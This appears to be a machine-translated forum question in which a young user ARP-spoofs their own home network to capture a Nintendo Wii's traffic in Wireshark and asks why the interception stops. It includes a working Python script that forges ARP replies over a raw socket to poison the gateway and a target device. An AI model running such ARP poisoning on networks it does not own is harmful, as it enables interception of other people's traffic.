Ho un Nintendo Wii nella mia LAN che si collega online tramite il mio router. Ho scritto uno script veloce e sporco per inviare i pacchetti ARP alla rete ogni due secondi in modo che la Wii parli al mio computer, che poi trasmette i dati al mio router e viceversa. In questo modo dovrei essere in grado di giocare online mentre catturi tutto il traffico.
Ho testato la sceneggiatura e all'inizio ha funzionato. Potevo vedere tutti i pacchetti andare e venire su Wireshark. Tuttavia, ad un certo punto i pacchetti semplicemente smesso di mostrare. Potrei ancora giocare online ma il Wii e il router hanno iniziato a parlare direttamente l'uno con l'altro. Ho disabilitato il port forwarding sul computer e il gioco non è stato modificato. Non sono più riuscito a ricevere il traffico.
Ho provato a sostituire il Wii con il mio telefono. All'inizio ha funzionato, ma poi è successa la stessa cosa. Cosa sta succedendo qui? È possibile che il mio router rilevi l'attacco e neutralizzi i miei sforzi?
EDIT: Bene, quindi ecco la sceneggiatura, in Python. Voglio fare un programma per interpretare i dati che attraversano. Diventa un po 'hacky a partire dalla riga 24 perché volevo solo verificare che funzionassero le due funzioni.
def writeARPPacket(*,target,old,new):
"""
Write an ARP packet that tells _target_ to send things to _new_ when
it would have sent them to _old_.
"""
ph = [] # Stands for "placeholders".
ph += [target.getMAC()] # Destination's MAC address.
ph += [new.getMAC()] # Source's MAC address.
ph += [new.getMAC()] # Sender's MAC address.
ph += [old.getIP()] # Sender's IP address.
ph += [target.getMAC()] # Target's MAC address.
ph += [target.getIP()] # Target's IP address.
packet = b'%s%s\x08\x06\x00\x01\x08\x00\x06\x04\x00\x02%s%s%s%s'
packet = packet % (ph[0],ph[1],ph[2],ph[3],ph[4],ph[5])
return packet
def sendARPPacket(netint,packet):
"Send through _netint_ the raw bytes-like object _packet_."
s = socket.socket(socket.PF_PACKET,socket.SOCK_RAW)
s.bind((netint,0x0806))
s.send(packet)
if __name__ == '__main__':
class Dummy:
def __init__(self,IP,MAC):
self.IP = IP
self.MAC = MAC
def getIP(self): return self.IP
def getMAC(self): return self.MAC
# In place of '...', the real code includes the corresponding MAC addresses.
Wii = Dummy(b'\xC0\xA8\x00\x14',...)
phone = Dummy(b'\xC0\xA8\x00\x10',...)
gateway = Dummy(b'\xC0\xA8\x00\x01',...)
thisComp = Dummy(b'\xC0\xA8\x00\x11',...)
try:
while True:
for (a,b) in ((phone,gateway),(gateway,phone)):
packet = writeARPPacket(target=a,old=b,new=thisComp)
sendARPPacket('wlp3s0b1',packet)
time.sleep(2)
except KeyboardInterrupt:
sys.exit()
EDIT (di nuovo): mi è appena stato detto che il mio ISP stava monitorando il mio utilizzo di Internet oggi per aiutare a rilevare i problemi di connessione. È stato mio padre ad acconsentirlo senza avermelo detto. Sì, sono ancora giovane. Potrebbe essere che hanno rilevato l'attacco e l'hanno fermato in qualche modo?